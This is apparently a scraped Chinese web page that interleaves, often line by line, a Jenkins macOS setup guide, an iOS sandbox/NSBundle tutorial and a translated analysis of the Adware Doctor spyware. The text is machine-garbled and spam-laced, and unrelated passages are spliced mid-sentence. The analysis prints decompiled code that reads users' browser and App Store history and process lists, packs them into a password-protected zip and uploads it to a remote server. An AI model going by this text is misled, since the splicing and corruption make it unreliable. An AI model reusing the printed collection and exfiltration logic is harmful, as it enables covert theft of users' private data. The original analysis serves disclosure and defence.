原标题:被针对中华人民共和国服务器提供数据,Mac App Store下架排行第二的付费安软

Jenkins环境深切驾驭

    1. Jenkins相关配置文件路径
    • Jenkins工作目录:/Users/Shared/Jenkins/Home

      • 花色目录:/jobs

        • 单个项目目录:/jobs/项目名称

          • 项目布局文件:/jobs/项目名称/config.xml

          • 花色编写翻译目录:/jobs/项目名称/builds

          • 类型空间引得:/jobs/项目名称/workspace

      • 插件目录:/plugins

    • Jenkins环境安插文件:/Library/LaunchDaemons/org.jenkins-ci.plist

      • 配置 日志文件路径

      • 配备 Jenkins工作目录

      • 布置 Jenkins运行脚本

      • 安排 Jenkins的用户归属

    • Jenkins参数配置文件:/Library/Preferences/org.jenkins-ci.plist

      • 配置 http 端口号

      • 配置 https 端口号

      • 布置 https 证书音讯

      • 等等。。。。。。

    • 日志:/private/var/log/jenkins/jenkins.log

    • 起头目录:/Library/Application Support/Jenkins

      • 启航脚本:jenkins-runner.sh

      • 卸载脚本:Uninstall.command

    • 再一次起动Jenkins

      • 网页重启格局:

      • 重启电脑方式

      • 手动重启格局:

        • sudo launchctl load
          /Library/LaunchDaemons/org.jenkins-ci.plist

        • sudo launchctl unload
          /Library/LaunchDaemons/org.jenkins-ci.plist

  • [ ] 2. Jenkins 配置 https 地址

    • 生成 https 证书

      • 1

      • 2

      • 3

    • 布局 https 证书地方

      • 将证书key保存到
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 将证书cert保存到
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Preferences/org.jenkins-ci.plist 文件

      • 添加 httpsPort : 8443

      • 添加 httpsPrivateKey :
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 添加 httpsCertificate :
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Application Support/Jenkins/jenkins-runner.sh 文件

      • 拉长代码 add_to_args httpsPrivateKey

      • 加上代码 add_to_args httpsCertificate

  • 重启运维Jenkins

    • 重启电脑方式

    • 手动重启格局:

      • sudo launchctl unload
        /Library/LaunchDaemons/org.jenkins-ci.plist

      • sudo launchctl load
        /Library/LaunchDaemons/org.jenkins-ci.plist

1 沙盒和NSBundle的区别

Simulator相关路径

  • 以下均在Xcode6或上述测试

前言

沙盒(NSHomeDirectory()) 是系统加载 app时,为 app
分配的蕴藏空间。如本地数据库,文件存款和储蓄;

模拟器在MAC中的路径一:

模拟器在MAC中的安装路径

  • /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs

app应用在MAC中的安装路径

  • 在Xcode5和事先的版本中
    • /Users/username/Library/Application Support/iPhone Simulator。
    • 在该文件夹下,能够查看到独具的模拟器版本,点进入后,可查阅应用沙盒意况。
    • 在支付中,建议将文件拖动飞快路径到Finder左边个人收藏下,能够一本万利打开查看应用沙盒。
  • 在Xcode6中,将模拟器的岗位举办了变动
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识(一些字符串)
      • 末尾那些模拟器标识正是有的字符串代表每一个见仁见智的iOS设备
        譬如说D3E79030-5DB9-4E5B-8E46-5C3B100科沃兹C1C就表示那是红米4S,点击进入查看device.plist那么些文件。

app应用的mainBundle在MAC中路径(app在mac上的储存地方)

  • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Bundle/Application/iOS应用程序标标识符/iOS应用程序.app,然后右击包内容进入查看。
    • 在那之中纵使有趣的事中的[NSBundle mainBundle]对应的路径
  • mainBundle中加载指定(URL/路径)的文件
- URLForResource方法

NSURL *url = [[NSBundle mainBundle] URLForResource:soundName withExtension:@"mp3"];

- pathForResource方法

NSString *path = [[NSBundle mainBundle] pathForResource:soundName ofType:@"mp3"];

近年有英国媒体报纸发表,Mac App Store中付费安全软件中排行榜第壹的Adware
Doctor被切磋人士发以后未经用户同意的情状下收集浏览历史,并将数据发送至位于中华人民共和国的服务器,之后被Mac
App Store下架。

NSBundle 是系统加载 app时,app
的可实施代码和那几个代码须要的能源文件所在的目录;

app在MAC中的路径二:(文件归档存款和储蓄/数据持久化存款和储蓄位置)

  • 在目录中搜索查个路子
- NSSearchPathForDirectoriesInDomains( )
  • 应用app文件归档所在路径
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序

// 应用app文件归档所在路径
NSString *path = NSHomeDirectory();
  • Documents(文档)
- /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Documents

        NSString *path = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) lastObject];
  • Library(资源库)
    /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Library

    • Library/Caches(沙盒)
      • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Library

// 获取沙盒路径
NSString *caches = [NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES) lastObject];

- Library/Preferences(`偏好设置`)
    - /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/Preferences
  • tmp(临时文件夹)
    • /Users/username/Library/Developer/CoreSimulator/Devices/模拟器标识/data/Containers/Data/Application/iOS应用程序标标识符/iOS应用程序/tmp

        // 获取临时文件夹路径
        NSString *path = NSTemporaryDirectory();

在被下架以前,Adware
Doctor是一款广受用户欢迎的金昌采用,意在保证用户的浏览器免受广告软件和恶心软件威吓。外国研商人口解构了本次爆发的下架事件的来因去果。

下边打字与印刷出她们的地点。

Adware Doctor

留意:每一回打字与印刷出的地点都以例外的

在Adware
Doctor的宣扬中,它是Mac用户抵御各样大规模广告软件胁迫的“最好应用”:

– (void)viewDidLoad {

金沙网址 1

[super viewDidLoad];

在Mac App
Store中,那款应用程序非凡受欢迎,在最畅销的应用程序中排名榜第6,由此连苹果Mac
App Store网站都列出了它的音讯:

NSLog(@”bundle: %p”, [[NSBundle mainBundle] infoDictionary]);

金沙网址 2

NSLog(@”home: %p”, NSHomeDirectory());

在“付费实用工具”分类中,Adware Doctor排行第③:

NSLog(@”code: %p”, self);

金沙网址 3

NSLog(@”bundle: %@”, [[NSBundle mainBundle] bundlePath]);

事件解构

NSLog(@”home: %@”, NSHomeDirectory());

商讨人士选择静态分析(反编写翻译)和动态解析(互连网监察和控制、文件监察和控制和调节)的办法对那款应用程序实行了商量,以下是经过和结果。

NSString *content = @”my file content”;

第二,切磋人口从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac
App Store中的全体应用程序一样)由苹果例行签发:

NSError *error;

金沙网址 4

BOOL isRight = NO;

开始应用程序,观望到它经过HTTPS发出各类互连网请求。例如,连接受adwareres.securemacos.com通过GET请求/AdwareDoctor/master.1.5.5.js:

isRight = [content writeToFile:[[[NSBundle mainBundle] bundlePath]
stringByAppendingPathComponent:@”file1.txt”]

金沙网址 5

atomically:YES

如图所示,下载的master.1.5.5.js文件包涵基本JSON配置数据:

encoding:NSUTF8StringEncoding

{

error:&error];

“disable_rate”:false,

if (!isRight) {

“disable_prescan”:false,

NSLog(@”write to bundle error: %@”, error.localizedDescription);

“sk_on”:false,

}

“faq_link”:“

isRight = [content
writeToFile:[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES).firstObject
stringByAppendingPathComponent:@”file1.txt”]

}

atomically:YES

单击应用程序界面中的“Clean”按钮会触发另3个到adwareres.securemacos.com的互联网请求,本次下载的是名为config1.5.0.js的第二个文本:

encoding:NSUTF8StringEncoding

金沙网址 6

error:&error];

此次下载的config1.5.0.js文书包罗更加多JSON,最值得注意的是那款软件的数据库的链接:

if (!isRight) {

{

NSLog(@”write to home dir error: %@”, error.localizedDescription);

“update”:true,

}

“version”:“201808243”,

}

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

模拟器中输出:

}

第 1 次运行:

下一场是二个看起来很健康的数据库更新进程:

2017-07-26 10:38:41.307 Harvest[2236:541410] bundle: 0x600000065380

金沙网址 7

2017-07-26 10:38:41.307 Harvest[2236:541410] home: 0x7fd6d65043d0

斟酌人口翻开了数据库的剧情,是加密的(符合反广告软件/反恶意软件的做法):

2017-07-26 10:38:41.307 Harvest[2236:541410] code: 0x7fd6d650d820

金沙网址 8

2017-07-26 10:38:41.308 Harvest[2236:541410] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/817CFB68-19FE-4D58-960F-68F72BE236B7/Harvest.app

采纳调节和测试器捕获应用程序在内存中解密的文件,然后转储纯文本内容:

2017-07-26 10:38:41.308 Harvest[2236:541410] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/E1D22141-A32F-468E-91D5-307BD82FA251

(lldb)

第 2 次运行:

binaryContentMatchPatten = ({

2017-07-26 10:39:13.476 Harvest[2273:544438] bundle: 0x608000261040

md5 = (

2017-07-26 10:39:13.476 Harvest[2273:544438] home: 0x7f83b470cbb0

48a96e1c00be257debc9c9c58fafaffe,

2017-07-26 10:39:13.476 Harvest[2273:544438] code: 0x7f83b450e460

f1a19b8929ec88a81a6bdce6d5ee66e6,

2017-07-26 10:39:13.477 Harvest[2273:544438] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/05F27F47-8384-40A7-9FDF-451255E282B3/Harvest.app

3e653285b290c12d40982e6bb65928c1,

2017-07-26 10:39:13.477 Harvest[2273:544438] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/D91EC197-590D-4538-9651-435056AB5D19

801e59290d99ecb39fd218227674646e,

真机中输出:

8d0cd4565256a781f73aa1e68e2a63de,

第 1 次运行:

e233edd82b3dffd41fc9623519ea281b,

2017-07-26 10:33:04.426597+0800 Harvest[7963:2911220] bundle:
0x17007b8c0

1db830f93667d9c38dc943595dcc2d85,

2017-07-26 10:33:04.426826+0800 Harvest[7963:2911220] home:
0x17414e650

2017-07-26 10:33:04.426857+0800 Harvest[7963:2911220] code:
0x14de0ed10

browserHomePagePatten = (

2017-07-26 10:33:04.426885+0800 Harvest[7963:2911220] bundle:
/var/containers/Bundle/Application/0FF63C1B-80CC-4C79-9119-3EABE8D61F14/Harvest.app

{

2017-07-26 10:33:04.427091+0800 Harvest[7963:2911220] home:
/var/mobile/Containers/Data/Application/EA36910B-A24D-48BD-A657-561247429851

name = “Chrome homepage: safefinder”;

2017-07-26 10:33:04.446798+0800 Harvest[7963:2911220] write to bundle
error: 您没有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew”;

第 2 次运行:

},

2017-07-26 10:35:51.724381+0800 Harvest[7969:2912283] bundle:
0x17007c7c0

{

2017-07-26 10:35:51.724596+0800 Harvest[7969:2912283] home:
0x174150490

name = “Chrome homepage: safefinder”;

2017-07-26 10:35:51.724627+0800 Harvest[7969:2912283] code:
0x145e0e4e0

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn”;

2017-07-26 10:35:51.724655+0800 Harvest[7969:2912283] bundle:
/var/containers/Bundle/Application/36A3A0D0-B007-45B1-8672-7A9195CEDBF5/Harvest.app

},

2017-07-26 10:35:51.724857+0800 Harvest[7969:2912283] home:
/var/mobile/Containers/Data/Application/BDAA6308-C671-4022-B97C-F8EFE36CE746

{

2017-07-26 10:35:51.740230+0800 Harvest[7969:2912283] write to bundle
error: 您没有将文件“file1.txt”存款和储蓄到文件夹“丰收app”中的权限。

name = “Chrome homepage: safefinder”;

来得 Harvest.app 的包内容:

patten = “Chrome.*searchword.*/90/”;

金沙网址 9

},

开辟 NSHomeDirectory() 中的内容:

金沙网址 10

filePathPatten = (

结果分析:

“/Applications/WebShoppers”,

(1)bundle 中有个 info.plist 文件,是 app 的配备文件;沙盒的 Library /
Preferences 中有个 com.god.harvest.plist 文件,它用来 UserDefault 存款和储蓄;

“/Applications/WebShoppy”,

另:使用 xcode > Devices 下载 app 的 container 内容,会看到首要正是沙盒中的内容,再增加二个 AppDataInfo.plist(便是 info.plist).

金沙网址 ,”/Applications/SoftwareUpdater”,

(2)模拟器中,可以由此 writeToFile 向 沙盒 和 Bundle 中
写入文件;真机中是不可能向 Bundle 中写入文件的;

“/Applications/webshoppers”,

法定文书档案中评释(地址:

“~/Library/Application Support/WebTools”,

• A package is any directory that the Finder presents to the user as if
it were a single file.

“~/Library/WebTools”,

• A bundle is a directory with a standardized hierarchical structure
that holds executable code and the resources used by that code.

“/Applications/WebTools”,

“/Applications/WebTools.app”,

“/Applications/SmartShoppy”,

“/Applications/ShopTool”,

“/Applications/ShoppyTool”,

“/Applications/EasyShopper”,

launchPathMatchPatten = (

“com.WebShoppers.agent.plist”,

“com.WebShoppy.agent.plist”,

“com.webshoppers.agent.plist”,

“com.SoftwareUpdater.agent.plist”,

whitelist = (

“~/Library/LaunchAgents/com.spotify.webhelper.plist”,

“/Library/LaunchDaemons/com.intel.haxm.plist”,

“/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist”,

“/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist”,

环境安插介绍,被针对中夏族民共和国服务器提供数据。”/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist”,

“/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist”,

“/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist”,

“/Library/LaunchAgents/com.microsoft.update.agent.plist”,

“/Library/LaunchDaemons/com.crashplan.engine.plist”

那么些特点看起来是一款反广告软件,并且哈希值确实与已知的广告软件非凡:

金沙网址 11

例如Adware.MAC.Pirrit:

金沙网址 12

回去Adware Doctor应用界面,它已准备好清理用户的连串:

金沙网址 13

直到上面一步并从未出现卓殊,但后边对窘迫了。

首先,在运作文件监视器(例如MacOS内置的fs_usage)和对含有历史记录的文书举办过滤(不区分轻重缓急写)后,一些12分的公文访问历史显现出来:

# fs_usage -w -f filesystem | grep “Adware Doctor” | grep -i history

Adware Doctor.44148 open ~/Library/Application
Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A]
/dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application
Support/Google/Chrome/Default/History

Adware Doctor.44148 open
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运行进度监视器(例如开源的ProcInfo实用程序),能够观测到Adware
Doctor使用内建zip实用程序创立受密码爱护的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

“/bin/bash”,

“-c”,

“zip -r –quiet -P webtool
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip\”
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history\” > /dev/null”

)

行使网络代理监视器(Charles Proxy)捕获Adware
Doctor到adscan.yelabapp.com的连接尝试:

金沙网址 14

由此编写制定系统的/etc/hosts文件,将此恳请重定向到研讨人口控制的服务器,捕获到Adware
Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 – – [20/Aug/2018 10:53:24] “POST /1/checkadware
HTTP/1.1” 200 –

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data;
boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

Connection: keep-alive

Accept: */*

User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)

Content-Length: 15810

Accept-Language: en-us

Accept-Encoding: br, gzip, deflate

Path: /1/checkadware

Attachment: ‘history.zip’ (length: 15810)

待上传的“history.zip”文件受密码爱惜:

金沙网址 15

重放经过监视器的出口,密码被发送到内建的zip实用程序:zip -r –quiet -P
webtool …。

密码也被编码到应用程序的二进制文件中,因而反编写翻译二进制文件即可获得密码。

输入webtool作为密码解压文件:

金沙网址 16

翻开解压出来的始末,Adware Doctor在暗地里收集用户的浏览器历史记录:

$ cat com.yelab.Browser-Sweeper/Data/Library/Application\
Support/com.yelab.Browser-Sweeper/history/chromeHistory

Person 1:

2018-08-20 21:19:57

2018-08-20 21:19:36

$ cat com.yelab.Browser-Sweeper/Data/Library/Application\
Support/com.yelab.Browser-Sweeper/history/safariHistory

08:29:41

1397-06-02 08:29:20

深深剖析

观看此间,有多个问题亟待解答:

它什么绕过Mac App Store的沙盒机制来拜会用户的文本?

它怎么搜集用户的浏览器历史记录?

它还采访了怎么系统音讯和个人身份音讯(PII)?

从平安定祥和隐秘的角度来看,从官方Mac App
Store安装应用程序的重中之重优势有两点:

程序通过苹果官方审查和签发;

程序在沙盒中运营。

当应用程序在沙箱中运行时,能够访问的文本或用户新闻极度简单,应该无法访问用户的浏览器历史记录,但那里Adware
Doctor做到了。

通过工具(WhatsYourSign)查看该应用程序的权位,包蕴:com.apple.security.files.user-selected.read-write:

金沙网址 17

那项权限意味着应用程序能够请求有些文件的权位,并且取得明显的用户许可后,对文本举办读/写操作。Adware
Doctor在首先次运营时,会呈请访问用户的主目录以及下边包车型大巴持有文件和目录:

金沙网址 18

那是因而[MainWindowController showFileAccess]方法达成的:

/ * @class MainWindowController * /

– (void)showFileAccess {

r15 = self;

var_30 = [[AppSandboxFileAccess fileAccess] retain];

r13 = [[AppSandboxFileAccess fileAccess] retain];

rbx = [[BSUtil realHomeDirectory] retain];

r14 = [r13 hasAccessPremisionPath:rbx];

在AppSandboxFileAccess类的救助下:

金沙网址 19

在调试器(lldb)中,观看用户主目录的走访尝试:

Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:

-> 0x10000cebf <+0>: pushq %rbp

0x10000cec0 <+1>: movq %rsp, %rbp

0x10000cec3 <+4>: pushq %r15

0x10000cec5 <+6>: pushq %r14

(lldb) po $rdi

(lldb) x/s $rsi

0x10006a147: “hasAccessPremisionPath:”

(lldb) po $rdx

/Users/user

明天,Adware
Doctor能够合法访问用户的文书和目录,例如扫描以搜寻恶意代码。但是,一旦用户点击允许,Adware
Doctor将享有对负有用户文件的全数走访权限,它采取了多样募集系统和用户音讯的法门。就算有个别(例如进度列表)大概确实是用于反恶意软件或反广告软件的操作,但其余用户新闻(例如用户的浏览历史记录)违反了粗暴的Mac
App Store规则。

募集格局在ACEAdwareCleaner类中贯彻,并取名为collect *:

金沙网址 20

逆向一下有些艺术

先是是collect萨姆ple方法。此格局查询应用程序下载的数据库。看起来它用于寻找采访样本中钦定的文书:

– (void)collectSample {

rbx = [r15 pattenDic];

r14 = [rbx valueForKey:@“sample”];

在调节和测试器中跳过此代码,并检讨示例键的未加密值:

(lldb)“/ Application / Adware Doctor.app”

po $ rax

<__ NSArrayM 0x10732b5e0>(

NAME =`whoami`; echo
/Users/”$NAME”/Library/LaunchAgents/com.apple.Yahoo.plist;

它正值用户的LaunchAgents目录中检索名为com.apple.Yahoo.plist的文本。在寻找引擎中寻找“com.apple.Yahoo.plist”,跳出的音讯与门罗币挖矿木马有关。在VirusTotal上能够找到相关文件,但看起来没难题:

金沙网址 21

collectPSCommonInfoToFile方法。反编写翻译相关文件后得到了字符串和详细的章程名称,揭露了指标:

/* @class ACEAdwareCleaner */

-(void)collectPSCommonInfoToFile:(void *)arg2 {

var_38 = [arg2 retain];

r14 = [[NSMutableString alloc] init];

[r14 appendString:@”===System===\n”];

rbx = [[ACECommon operatingSystem] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r14 appendString:@”===OS UpTime===\n”];

rbx = [[ACECommon getSystemUpTime] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r14 appendString:@”===Launch===\n”];

rbx = [[self readLaunchFolder:@”/Library/LaunchAgents”] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

rbx = [[self readLaunchFolder:@”/Library/LaunchDaemons”] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

r15 = [[ACECommon realHomeDirectory] retain];

r13 = [[NSString stringWithFormat:@”%@/Library/LaunchAgents”, r15]
retain];

rbx = [[self readLaunchFolder:r13] retain];

[r14 appendFormat:@”%@\n”];

[rbx release];

[r13 release];

[r15 release];

[r14 appendString:@”\n===Applications===\n”];

rbx = [[ACECommon fileStringWithPath:@”/Applications”] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@”\n===process===\n”];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:rbx];

[rbx release];

[r14 appendString:@”\n===process2===\n”];

rbx = [[ACECommon collectProcessList2] retain];

[r14 appendString:rbx];

[rbx release];

[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];

[var_38 release];

[r14 release];

return;

}

能够手动分析那几个代码,但回顾地让它执行并在下一行(靠近函数末尾)设置断点要简明得多:

(lldb)po $ rdx

/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support / com.yelab.Browser-Sweeper / history / psCommonInfo

请小心这几个psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文书档案中):

$ cat psCommonInfo

===System===

Version 10.13.6 (Build 17G65)

===OS UpTime===

1hour, 10minute, 31second

===Launch===

/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist

444 root wheel

===Applications===

/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)

/Applications/Siri.app(1396-07-27 03:17:13 +0000)

/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)

/Applications/Chess.app(1396-06-15 01:20:21 +0000)

/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)

/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)

….

===process2===

processID processName userID userName command

1759 bash 501 user /bin/bash

1758 login 0 root /usr/bin/login

1730 silhouette 501 user /usr/libexec/silhouette

1709 mdwrite 501 user /System/Library/Frame

….

虽说Adware
Doctor得到了经过com.apple.security.files.user-selected.read-write权限和综上说述的用户许可来枚举用户文件,但听新闻说沙箱设计,它照旧鞭长莫及列出任何正在运维的进度。

回顾一下collectPSCommonInfoToFile,调用以下二种方法:

[r14 appendString:@“\ n === process === \ n”];

rbx = [[ACECommon collectProcessList] retain];

[r14 appendString:@“\ n === process2 === \ n”];

rbx = [[ACECommon collectProcessList2] retain];

措施collectProcessList尝试通过放手的ps命令枚举全数正在运行的长河:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/sh

(lldb) po [$rdi arguments]

<__NSArrayI 0x1002851f0>(

-c,

ps -e -c -o “pid uid user args”

)

被macOS应用程序沙箱阻止(拒绝),因为枚举正在运行的长河(来自沙箱)是“避讳”:

/bin/sh: /bin/ps: Operation not permitted

Adware Doctor使用了collectProcessList2方法:

+(void *)collectProcessList2

{

rax = sub_1000519ad(&var_1068, &var_10A0,

@”processID\t\t\t processName\t\t\t userID\t\t\t
userName\t\t\t command\n”, rcx, r8, r9);

var_1070 = var_1068;

do {

proc_pidpath(*(int32_t *)(r14 – 0xcb), &var_1030, 0x1000);

} while (var_1088 > rax);

}

调用sub_一千519ad然后迭代该函数重临的某个列表,调用proc_pidpath。sub_一千519ad回去三个历程ID列表:

000000010007df90 dd 0x00000001 ;CTL_KERN

000000010007df94 dd 0x0000000e ;KERN_PROC

000000010007df98 dd 0x00000000 ;KERN_PROC_ALL

int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int
arg5)

{

rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);

if ((r12 ^ rax) == 0x1){

__assert_rtn(“GetBSDProcessList”,

“/Users/build1/Browser-Sweeper/src/Browser
Sweeper/Pods/PodACE/Engine/ACECommon.m”, …

}

rbx = malloc(0x0);

rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);

sysctl函数的调用加上字符串GetBSDProcessList给出了经过列表。它是苹果的GetBSDProcessList代码,可从应用程序沙箱中收获进程列表,也正是说
Adware Doctor用来绕沙箱的代码间接来自苹果。

当今让大家看看Adware
Doctor怎么着搜集用户的浏览器历史记录。使用collectBrowserHistoryAndProcess方法,调用:

collectSafariHistoryToFile

collectChromeHistoryToFile

firefoxHistory

那么些办法中的每1个都带有用于提取浏览器历史记录的代码。

对于Safari而言,这将调用解析其History.db文件:

+(void)collectSafariHistoryToFile:(void *)arg2 {

if ([ACECommon appInstalledByBundleId:@”com.apple.Safari”] != 0x0) {

r15 = [[ACECommon realHomeDirectory] retain];

rbx = [[r15
stringByAppendingPathComponent:@”Library/Safari/History.db”] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];

;parse database

}

else {

r14 = [[@”Safari not installed.” dataUsingEncoding:0x4] retain];

[r12 writeData:r14];

[r14 release];

[r12 closeFile];

}

}

该collectChromeHistoryToFile涉及到四个公文,但大多能够归纳为列举Chrome个人资料,然后分析Chrome历史数据。

+(void)collectChromeHistoryToFile:(void *)arg2 {

r13 = [[NSString stringWithFormat:@”Library/Application
Support/Google/Chrome/%@/History”] retain];

rbx = [[rbx stringByAppendingPathComponent:r13] retain];

[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];

rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];

}

最后,在解析每一个配置文件的places.sqlite数据库在此以前,collectFirefoxHistoryToFile方法枚举任何Firefox配置文件:

+(void)collectFirefoxHistoryToFile:(void *)arg2 {

r12 = [[NSString stringWithFormat:@”Library/Application
Support/Firefox/Profiles/%@/places.sqlite”] retain];

r15 = [[rbx stringByAppendingPathComponent:r12] retain];

r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];

该应用程序还有三个名为collectAppStoreHistoryToFile的主意,它将尝试在App
Store App中获取用户近日的有所搜索记录:

+(void)collectAppStoreHistoryToFile:(void *)arg2 {

15 = [[rbx
stringByAppendingPathComponent:@”Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version
11/Blobs”, 0x0, 0x0] retain];

r12 = [r14 initWithFormat:@”%@/Library/Application
Support/%@/appStoreData”, r15, rbx]

ar_1A0 = @[@”-c”, @”grep search.itunes * | sed
‘s/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\”
.*/\1/'”)]

}

在收集完用户数量后将兼具剧情都缩减到history.zip文件发送:

(lldb) po $rdi

(lldb) po [$rdi launchPath]

/bin/bash

(lldb) po [$rdi arguments]

<__NSArrayI 0x100352480>(

-c,

zip -r –quiet -P webtool
“/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip”
“/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history” > /dev/null

)

此文件以及带有软件列表的JSON
blob(已下载的.dmgs或.pkgs以及从哪儿下载),然后经过调用sendPostRequestWithSuffix方法上传出服务器(请留心API端点:checkadware)

[var_1F0 sendPostRequestWithSuffix:@”checkadware” params:r12
file:rbx];

[

{

“content”: “\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02
21:15:46 +0000\n(\n
\”https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\”,\n
\”https:\/\/www.google.com\/chrome\/\”\n)\n5533641bc4cc7af7784565ac2386a807\n”

},{

“content”:
“\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02
20:48:18 +0000\n(\n
\”https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\”,\n
\”https:\/\/www.charlesproxy.com\/latest-release\/download.do\”\n)\nde043b43c49077bbdce75de22e2f2d54\n”

},{

“content”: “\/Users\/user\/Downloads\/Firefox
61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n
\”https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\”,\n
\”https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\”\n)\n65096904bf80c4dd12eb3ba833b7db8d\n”

},

]

–Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA

Content-Disposition: form-data; name=”attachment”;
filename=”history.zip”

Content-Type: application/zip

到了此地,用户数据就发到中夏族民共和国的服务器上去了。

结语

Adware Doctor的作为违反了苹果 Mac App
Store严俊的条条框框和政策。例如,在“App Store规则和指南”
的“数据收集和仓库储存”部分提议:

